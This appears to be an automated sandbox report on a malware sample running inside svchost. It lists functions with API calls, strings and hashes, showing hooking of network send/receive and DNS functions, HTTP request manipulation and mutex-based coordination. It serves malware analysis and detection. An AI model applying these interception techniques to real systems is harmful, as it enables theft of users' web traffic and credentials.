Instruction ID: 205416860f5337fade4d07def29ba387aed30ced77a7123e8de2b8e9bd581d6e
Opcode Fuzzy Hash: 5cc793cfcd844ed135731521aff2ba7705046535c27c244f156e8f9c38b85ce1
Instruction Fuzzy Hash: B331AD71E41355ABE721AF25DC44F6BB7ACEF84B58F008A1DF90487180DB30DA148BB2

Function 02C882E0 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(advapi32.dll,00000000,00000000,7622F550,7622DF10,02C8475B), ref: 02C882F1
GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 02C88303

Part of subcall function 02C88FC0: VirtualAlloc.KERNEL32(00000000,-00000008,00003000,00000040,7622F550,00000000,7693BD50,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C88FF8
Part of subcall function 02C88FC0: memcpy.MSVCRT(?,?,00000000,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C89020
Part of subcall function 02C88FC0: VirtualProtect.KERNEL32(00000000,?,00000040,02C8839A,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C890B5
Part of subcall function 02C88FC0: VirtualProtect.KERNEL32(?,00000000,00000040,02C8839A,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C890CA

LoadLibraryExA.KERNEL32(ws2_32.dll,00000000,00000000), ref: 02C88322
GetProcAddress.KERNEL32(00000000,send), ref: 02C88330
GetProcAddress.KERNEL32(00000000,WSASend), ref: 02C8834C
GetProcAddress.KERNEL32(00000000,WSARecv), ref: 02C88368
GetProcAddress.KERNEL32(00000000,recv), ref: 02C88384

Strings

CryptEncrypt, xrefs: 02C882FD
WSASend, xrefs: 02C88346
ws2_32.dll, xrefs: 02C8831D
advapi32.dll, xrefs: 02C882EC
recv, xrefs: 02C8837E
WSARecv, xrefs: 02C88362
send, xrefs: 02C8832A

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: AddressProc$Virtual$LibraryLoadProtect$Allocmemcpy
String ID: CryptEncrypt$WSARecv$WSASend$advapi32.dll$recv$send$ws2_32.dll
API String ID: 1216545827-2206184491
Opcode ID: 009819cbb39ec59092b7244a0fa23995c21bc4da5a30ebe04a12004182c48b34
Instruction ID: 9a52b65efe7a915dc87aac047ecc0af53a9f84a6923bcf0b944caf202d9e69fa
Opcode Fuzzy Hash: 009819cbb39ec59092b7244a0fa23995c21bc4da5a30ebe04a12004182c48b34
Instruction Fuzzy Hash: E3010C76BC032A30F92231751C02F6A824E5FC1ECDF968B31B906F25C4DA95E60648B8

Function 02C902E0 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 56sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}), ref: 02C9030C
ReleaseMutex.KERNEL32(00000000), ref: 02C90319
GetHandleInformation.KERNEL32(00000000,?), ref: 02C9032D
CloseHandle.KERNEL32(00000000), ref: 02C9033F
CreateThread.KERNEL32(00000000,00000000,02C90120,00000000,00000000,00000000), ref: 02C90350
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C9035F
CloseHandle.KERNEL32(00000000), ref: 02C90366
PathAddBackslashA.SHLWAPI(7f1bffd6), ref: 02C9036D
Sleep.KERNEL32(00009C40,7f1bffd6,KBP), ref: 02C90387
Sleep.KERNEL32(00000064), ref: 02C90390

Strings

Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}, xrefs: 02C90300
P0#v, xrefs: 02C90319
7f1bffd6, xrefs: 02C90368, 02C90378
KBP, xrefs: 02C90373

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$CloseMutexSleep$BackslashCreateInformationObjectOpenPathReleaseSingleThreadWait
String ID: 7f1bffd6$KBP$Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}$P0#v
API String ID: 4173420962-1310770680
Opcode ID: 2bbf6942b2cc3377f752cab79c1ee771b0b10d9440eb4d92d363200170be55e2
Instruction ID: 2da9133c6d81619bcd978588399cab9ea2d0523d7024d38c1b837b514c6b9bb9
Opcode Fuzzy Hash: 2bbf6942b2cc3377f752cab79c1ee771b0b10d9440eb4d92d363200170be55e2
Instruction Fuzzy Hash: 4701F930ECDB95BBFA1267614C0EF1A369C7F44B14F204750F919671C19BF4A90086AB

Function 02C796FF Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 264synchronizationwindowthreadCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00008001,?), ref: 02C7976E
ReleaseMutex.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,02C78623,00008001,?), ref: 02C79797
IsWindow.USER32(?), ref: 02C7979E
PostMessageA.USER32(?,00000215,00000000,00000000), ref: 02C797B2
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00008001,?), ref: 02C79821
ReleaseMutex.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,02C78623,00008001,?), ref: 02C7983A
GetWindowLongA.USER32(00000000,000000F0), ref: 02C798CB
GetParent.USER32(00000000), ref: 02C798E2
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 02C79929
GetWindowInfo.USER32 ref: 02C799A1

Part of subcall function 02C79030: GetWindowRect.USER32(?,?), ref: 02C79057
Part of subcall function 02C79030: IsRectEmpty.USER32(?), ref: 02C790C6
Part of subcall function 02C79030: GetWindowLongA.USER32(?,000000F0), ref: 02C790D6
Part of subcall function 02C79030: GetParent.USER32(?), ref: 02C790EA
Part of subcall function 02C79030: MapWindowPoints.USER32(00000000,00000000,?,02C79754), ref: 02C790F3
Part of subcall function 02C79030: SetWindowPos.USER32(?,00000000,?,02C79754,00000000,00008001,0000630C,?,02C79754,00000000,00008001,?), ref: 02C79115

Strings

P0#v, xrefs: 02C79797, 02C7983A
<, xrefs: 02C79999

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Window$LongMutexObjectParentRectReleaseSingleWait$EmptyInfoMessagePointsPostProcessThread
String ID: <$P0#v
API String ID: 4123185898-512927467
Opcode ID: 71a270c82cb22c150ca72a1b1f6a01f2ab14ba3d5e97254e997ef960a8183707
Instruction ID: 4bcd2f6e1dc22edba24d600672e87dd96ef4d6448a9f883a8d935158106c1083
Opcode Fuzzy Hash: 71a270c82cb22c150ca72a1b1f6a01f2ab14ba3d5e97254e997ef960a8183707
Instruction Fuzzy Hash: 9C911531684341ABD3259F24CC89FAB7BA9AFC5714F044A2DF9668B2D1C7B4C544CBA1

Function 02C902F8 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 45sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}), ref: 02C9030C
ReleaseMutex.KERNEL32(00000000), ref: 02C90319
GetHandleInformation.KERNEL32(00000000,?), ref: 02C9032D
CloseHandle.KERNEL32(00000000), ref: 02C9033F
CreateThread.KERNEL32(00000000,00000000,02C90120,00000000,00000000,00000000), ref: 02C90350
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C9035F
CloseHandle.KERNEL32(00000000), ref: 02C90366
PathAddBackslashA.SHLWAPI(7f1bffd6), ref: 02C9036D
Sleep.KERNEL32(00009C40,7f1bffd6,KBP), ref: 02C90387
Sleep.KERNEL32(00000064), ref: 02C90390

Strings

Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}, xrefs: 02C90300
P0#v, xrefs: 02C90319
7f1bffd6, xrefs: 02C90368, 02C90378
KBP, xrefs: 02C90373

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$CloseMutexSleep$BackslashCreateInformationObjectOpenPathReleaseSingleThreadWait
String ID: 7f1bffd6$KBP$Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}$P0#v
API String ID: 4173420962-1310770680
Opcode ID: 88a526ad00a8721c1e6a2a5c837008470dea0a3c5b96a610d510109e05e985dd
Instruction ID: 2fbf6114131304eca77c357c6b4215e969722fbf4bac548efdacd2700ee22b59
Opcode Fuzzy Hash: 88a526ad00a8721c1e6a2a5c837008470dea0a3c5b96a610d510109e05e985dd
Instruction Fuzzy Hash: B301D130AC9795BBFA222B304C0EF4E369CBF45B19F104750F91A661C0DBB499018AAB

Function 02C7DA80 Relevance: 21.4, APIs: 7, Strings: 7, Instructions: 411COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C7DA94
StrCmpNIA.SHLWAPI(00000002,?,00000000,?,?,00000000,?,?,?,?,?,?,?,02C7E8FF,?,?), ref: 02C7DAF5
StrCmpNIA.SHLWAPI(00000001,?,00000000,?,?,00000000,?,?,?,?,?,?,?,02C7E8FF,?,?), ref: 02C7DBB1
memcpy.MSVCRT(?,00000000,?,?,?,Content-Length,?,?,?,00000003,02C7E8FF,?,?,Host,?,?), ref: 02C7DCF3
memcpy.MSVCRT(00000000,http://,00000007,?,?,Content-Length,?,?,?,00000003,02C7E8FF,?,?,Host,?,?), ref: 02C7DDAE
memcpy.MSVCRT(?,?,00000000,00000000,http://,00000007,?,?,Content-Length,?,?,?,00000003,02C7E8FF,?,?), ref: 02C7DDBF
memcpy.MSVCRT(?,?,?,Host,?,?,?,00000000,?,?,?,00000000), ref: 02C7DDF1

Strings

Referer, xrefs: 02C7DE08
http://, xrefs: 02C7DD40
NSS layer, xrefs: 02C7DD61
Content-Length, xrefs: 02C7DCAD
Content-Type, xrefs: 02C7DE5D
Host, xrefs: 02C7DC70
https://, xrefs: 02C7DD82, 02C7DDAC

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: memcpy$memset
String ID: Content-Length$Content-Type$Host$NSS layer$Referer$http://$https://
API String ID: 438689982-3158524741
Opcode ID: 8d59738fe5088c2eaf57886d77d28275053c8d2c12aedd217a0793f37a8cd660
Instruction ID: dd3732c7711ec3d45edace044122e002dbadd5e24b6794fc6baae500f18ee1ff
Opcode Fuzzy Hash: 8d59738fe5088c2eaf57886d77d28275053c8d2c12aedd217a0793f37a8cd660
Instruction Fuzzy Hash: 85D12A76E0025A9BDF25CE68C880BEEBBB5FF85314F144169D857AB240D730DA41CBA5

Function 02C9B080 Relevance: 21.2, APIs: 14, Instructions: 212COMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 02C9B0CD
free.MSVCRT ref: 02C9B0FA
free.MSVCRT ref: 02C9B113
free.MSVCRT ref: 02C9B126
free.MSVCRT ref: 02C9B149
free.MSVCRT ref: 02C9B1BC
free.MSVCRT ref: 02C9B21D
free.MSVCRT ref: 02C9B236
free.MSVCRT ref: 02C9B26D
free.MSVCRT ref: 02C9B282
free.MSVCRT ref: 02C9B2B3
free.MSVCRT ref: 02C9B2C8
free.MSVCRT ref: 02C9B2D8
free.MSVCRT ref: 02C9B2DE

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: free$closesocket
String ID:
API String ID: 3865430558-0
Opcode ID: 910a31fd0c6bd9dc90c70c11b12ace9fc46aebbc3afe7f0e71b855cb4b104ca5
Instruction ID: bf6d14dd3a9724a07df7cd090e182fe84bab0acc79f7ff47ea8ec59b600bc34a
Opcode Fuzzy Hash: 910a31fd0c6bd9dc90c70c11b12ace9fc46aebbc3afe7f0e71b855cb4b104ca5
Instruction Fuzzy Hash: BC813EB0A00A12AFCB14CF28E888A56B7E4FF48708F184669D81ADB341D735FE55CBD5

Function 02C7F6A0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 126memorynetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 02C7F0C0: memset.MSVCRT ref: 02C7F114
Part of subcall function 02C7F0C0: GetProcessHeap.KERNEL32(00000000,?,?,?,?), ref: 02C7F12C
Part of subcall function 02C7F0C0: HeapValidate.KERNEL32(00000000), ref: 02C7F12F
Part of subcall function 02C7F0C0: GetProcessHeap.KERNEL32(00000000,?), ref: 02C7F13C
Part of subcall function 02C7F0C0: HeapFree.KERNEL32(00000000), ref: 02C7F13F
Part of subcall function 02C7F0C0: InternetQueryOptionA.WININET(?,00000022,00000000,-02CBD804), ref: 02C7F15C
Part of subcall function 02C7F0C0: GetProcessHeap.KERNEL32(00000008,00000014), ref: 02C7F179
Part of subcall function 02C7F0C0: HeapAlloc.KERNEL32(00000000), ref: 02C7F180
Part of subcall function 02C7F0C0: memset.MSVCRT ref: 02C7F190

GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,02C7FD9B,?,?,?,?,?,?), ref: 02C7F6E2
HeapValidate.KERNEL32(00000000,?,02C7FD9B,?,?,?,?,?,?), ref: 02C7F6E9
GetProcessHeap.KERNEL32(00000000,?,?,02C7FD9B,?,?,?,?,?,?), ref: 02C7F6F6
HeapFree.KERNEL32(00000000,?,02C7FD9B,?,?,?,?,?,?), ref: 02C7F6FD
HttpQueryInfoA.WININET(?,80000023,?,00000018,00000000), ref: 02C7F716
GetProcessHeap.KERNEL32(00000000,?,?,02C7FD9B,?,?,?,?,?,?), ref: 02C7F754
HeapValidate.KERNEL32(00000000,?,02C7FD9B,?,?,?,?,?,?), ref: 02C7F75B
GetProcessHeap.KERNEL32(00000000,?,?,02C7FD9B,?,?,?,?,?,?), ref: 02C7F768
HeapFree.KERNEL32(00000000,?,02C7FD9B,?,?,?,?,?,?), ref: 02C7F76F
HttpQueryInfoA.WININET(?,0000002D,?,?,00000000), ref: 02C7F7A5

Part of subcall function 02C7F210: InternetQueryOptionA.WININET(?,00000009,?,?), ref: 02C7F233

Strings

T, xrefs: 02C7F7CE
POST, xrefs: 02C7F7B5

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$Query$FreeValidate$HttpInfoInternetOptionmemset$Alloc
String ID: POST$T
API String ID: 4198387326-1208759463
Opcode ID: 99338229d96ef8bf0f3b4d3909b2820c6cba6b496dd30af06a24439a9daa011f
Instruction ID: bda962978ceaa05048a9369c1bf0b2edf011d2575adf7fbfcb0148bc20942b15
Opcode Fuzzy Hash: 99338229d96ef8bf0f3b4d3909b2820c6cba6b496dd30af06a24439a9daa011f
Instruction Fuzzy Hash: 2A41E471A40345ABD7328FA4DCC8FA777B8AF88715F008A4DE64687980D7B0E644DBA1

Function 02C78240 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 120filesynchronizationmemoryCOMMON

Download Yara Rule

APIs

SetThreadDesktop.USER32(?,76233050,762330D0,76233080), ref: 02C78280
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C78294
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7829F
UnmapViewOfFile.KERNEL32(00000000,?,00000006,00000000), ref: 02C782C7
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C782E4
CloseHandle.KERNEL32(00000000), ref: 02C782F5
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,02CBD66C), ref: 02C78315
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 02C7832C
HeapFree.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 02C7836C
ReleaseMutex.KERNEL32(00000000,0000007E,?,00000000,?,00000006,00000001,00000000,00000000), ref: 02C783B4
ReleaseMutex.KERNEL32(00000000,?,00000000,?,00000006,00000001,00000000,00000000), ref: 02C783BD

Strings

P0#v, xrefs: 02C783AD

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: File$HandleMutexObjectReleaseSingleViewWait$CloseCreateDesktopFreeHeapInformationMappingThreadUnmap
String ID: P0#v
API String ID: 2125184990-3387790918
Opcode ID: 3d0d9e5a832b1a5d5dcd235c828ed90d58ccb9c141292ec40fc273a3ff7295ab
Instruction ID: 3d477f1b7a102f56b4d127cad5f1c2a6d0e46db0bc53025ec961f26a942f3015
Opcode Fuzzy Hash: 3d0d9e5a832b1a5d5dcd235c828ed90d58ccb9c141292ec40fc273a3ff7295ab
Instruction Fuzzy Hash: 1441A171E80344ABD7119B74EC59F6A77A9EB88711F208F49FA11972C0CB74A920DFA0

Function 02C7F300 Relevance: 21.1, APIs: 14, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,?,02C7F84A,00000000,?), ref: 02C7F32B
HeapValidate.KERNEL32(00000000,?,02C7F84A,00000000,?), ref: 02C7F32E
GetProcessHeap.KERNEL32(00000000,?,?,02C7F84A,00000000,?), ref: 02C7F33B
HeapFree.KERNEL32(00000000,?,02C7F84A,00000000,?), ref: 02C7F33E
GetHandleInformation.KERNEL32(?,00000000,00000000,?,00000000,?,02C7F84A,00000000,?), ref: 02C7F357
CloseHandle.KERNEL32(?,?,02C7F84A,00000000,?), ref: 02C7F368
GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,?,02C7F84A,00000000,?), ref: 02C7F378
HeapValidate.KERNEL32(00000000,?,02C7F84A,00000000,?), ref: 02C7F37B
GetProcessHeap.KERNEL32(00000000,?,?,02C7F84A,00000000,?), ref: 02C7F388
HeapFree.KERNEL32(00000000,?,02C7F84A,00000000,?), ref: 02C7F38B
GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,?,02C7F84A,00000000,?), ref: 02C7F39B
HeapValidate.KERNEL32(00000000,?,02C7F84A,00000000,?), ref: 02C7F39E
GetProcessHeap.KERNEL32(00000000,?,?,02C7F84A,00000000,?), ref: 02C7F3AB
HeapFree.KERNEL32(00000000,?,02C7F84A,00000000,?), ref: 02C7F3AE

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$FreeValidate$Handle$CloseInformation
String ID:
API String ID: 2935687291-0
Opcode ID: d4623eed16cd5b81bbe464dcc97bed0d395a8c6cc79f28935bf282846adab503
Instruction ID: c67f42e586b1c9d74857217d00ebd9190e317d3f43df894b3a5983a969eb7d9b
Opcode Fuzzy Hash: d4623eed16cd5b81bbe464dcc97bed0d395a8c6cc79f28935bf282846adab503
Instruction Fuzzy Hash: 5431F031E853606BDB25AF61E8C8B5B7BACFF88B25F04856AED09D7240C735C500CAE1

Function 02C80820 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 89memorystringCOMMON

Download Yara Rule

APIs

IsUserAnAdmin.SHELL32 ref: 02C80825
GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000001,7622F550,76231620,80000002,?,?,02C84818), ref: 02C80872
HeapValidate.KERNEL32(00000000,?,?,02C84818), ref: 02C80875
GetProcessHeap.KERNEL32(00000000,00000000,?,?,02C84818), ref: 02C80882
HeapFree.KERNEL32(00000000,?,?,02C84818), ref: 02C80885
strstr.MSVCRT ref: 02C8089B
strstr.MSVCRT ref: 02C808B9
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,02C84818), ref: 02C808E7
HeapValidate.KERNEL32(00000000,?,?,?,?,02C84818), ref: 02C808EA
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,02C84818), ref: 02C808F7
HeapFree.KERNEL32(00000000,?,?,?,?,02C84818), ref: 02C808FA

Part of subcall function 02C80570: memset.MSVCRT ref: 02C805A3
Part of subcall function 02C80570: memset.MSVCRT ref: 02C805BB
Part of subcall function 02C80570: RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000101,80000002,?,?,?,?,7622F550,76231620), ref: 02C805DC
Part of subcall function 02C80570: RegQueryValueExA.ADVAPI32(80000002,80F50209a,00000000,00000001,?,00000104,?,?,?,?,7622F550,76231620), ref: 02C80603
Part of subcall function 02C80570: GetProcessHeap.KERNEL32(00000008,?,00000000,?,?,?,?,?,?,7622F550,76231620), ref: 02C8068D
Part of subcall function 02C80570: HeapAlloc.KERNEL32(00000000,?,?,?,?,7622F550,76231620), ref: 02C80694
Part of subcall function 02C80570: memset.MSVCRT ref: 02C806A3

Strings

set_url , xrefs: 02C8088F, 02C808B0

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$memset$FreeValidatestrstr$AdminAllocOpenQueryUserValue
String ID: set_url
API String ID: 3462927349-1295111526
Opcode ID: cda620ee7f2803b62b935c1a84ab0733a82987d75eb891d8c4ea899b9dbdd7a6
Instruction ID: d2685373e9730747ddc9d2bdb1d73698abc7836ff454eabe2fa69123fa625bc9
Opcode Fuzzy Hash: cda620ee7f2803b62b935c1a84ab0733a82987d75eb891d8c4ea899b9dbdd7a6
Instruction Fuzzy Hash: B6212632E8637567E63236615C09F5B6A889FC0B59F098664ED08BB240EB61DE48C6F1

Function 02C92A30 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 56sleepsynchronizationCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}), ref: 02C92A4C
Sleep.KERNEL32(00000064), ref: 02C92A62
OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}), ref: 02C92A70
ReleaseMutex.KERNEL32(00000000), ref: 02C92A79
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C92A91
CloseHandle.KERNEL32(00000000), ref: 02C92AA3
PathAddBackslashA.SHLWAPI(7f1bf8b2), ref: 02C92AAE
Sleep.KERNEL32(00009C40,7f1bf8b2,VEFK), ref: 02C92AC8

Strings

7f1bf8b2, xrefs: 02C92AA9, 02C92AB9
P0#v, xrefs: 02C92A79
Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}, xrefs: 02C92A40, 02C92A64
VEFK, xrefs: 02C92AB4

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Mutex$HandleOpenSleep$BackslashCloseInformationPathRelease
String ID: 7f1bf8b2$Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}$P0#v$VEFK
API String ID: 849374196-3775063419
Opcode ID: b80cf928594d81234f7e93009e373ef2cb61e057972e65856da3ba67c5e8679a
Instruction ID: cf5307aaa716208c13d45688a6128ea76d6d682987b08c38524c8f77d182b2d5
Opcode Fuzzy Hash: b80cf928594d81234f7e93009e373ef2cb61e057972e65856da3ba67c5e8679a
Instruction Fuzzy Hash: 6901FE32EC57543BFB22A7619C0DF5A778CAF44B20F044658FD8597181DFB0951046EB

Function 02C8D990 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 56sleepsynchronizationCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fa1-9A0D-95CD39DC0214}), ref: 02C8D9AC
Sleep.KERNEL32(00000064), ref: 02C8D9C2
OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fa1-9A0D-95CD39DC0214}), ref: 02C8D9D0
ReleaseMutex.KERNEL32(00000000), ref: 02C8D9D9
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C8D9F1
CloseHandle.KERNEL32(00000000), ref: 02C8DA03
PathAddBackslashA.SHLWAPI(7f1bfd65), ref: 02C8DA0E
Sleep.KERNEL32(00009C40,7f1bfd65,CRAIF), ref: 02C8DA28

Strings

P0#v, xrefs: 02C8D9D9
Local\{EAF799BF-8989-4fa1-9A0D-95CD39DC0214}, xrefs: 02C8D9A0, 02C8D9C4
CRAIF, xrefs: 02C8DA14
7f1bfd65, xrefs: 02C8DA09, 02C8DA19

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Mutex$HandleOpenSleep$BackslashCloseInformationPathRelease
String ID: 7f1bfd65$CRAIF$Local\{EAF799BF-8989-4fa1-9A0D-95CD39DC0214}$P0#v
API String ID: 849374196-2439100428
Opcode ID: bece56cc50f7c0badeb0bb4b249e25c43607e4c03d99266cf82caa41d85d5bc1
Instruction ID: 104e8e4c2d7b88b54f5b5cd2b4d18fb869c1bcacf3b05097bf7c6afeb6e5f25f
Opcode Fuzzy Hash: bece56cc50f7c0badeb0bb4b249e25c43607e4c03d99266cf82caa41d85d5bc1
Instruction Fuzzy Hash: F401D632EC47547AF312A7B15C0AF5A738CAF44B28F158664F909A31C1DBB499008AA6

Function 02C75940 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 53libraryloadernetworkCOMMON

Download Yara Rule

APIs

IsUserAnAdmin.SHELL32 ref: 02C75940
DnsFlushResolverCache.DNSAPI ref: 02C7594A
LoadLibraryExA.KERNEL32(Dnsapi.dll,00000000,00000000,75AF7390), ref: 02C7595A
GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 02C75973
GetProcAddress.KERNEL32(00000000,DnsQuery_UTF8), ref: 02C7598F
GetProcAddress.KERNEL32(00000000,DnsQuery_W), ref: 02C759AB
GetProcAddress.KERNEL32(00000000,Query_Main), ref: 02C759C7

Strings

Dnsapi.dll, xrefs: 02C75955
DnsQuery_UTF8, xrefs: 02C75989
DnsQuery_A, xrefs: 02C7596D
Query_Main, xrefs: 02C759C1
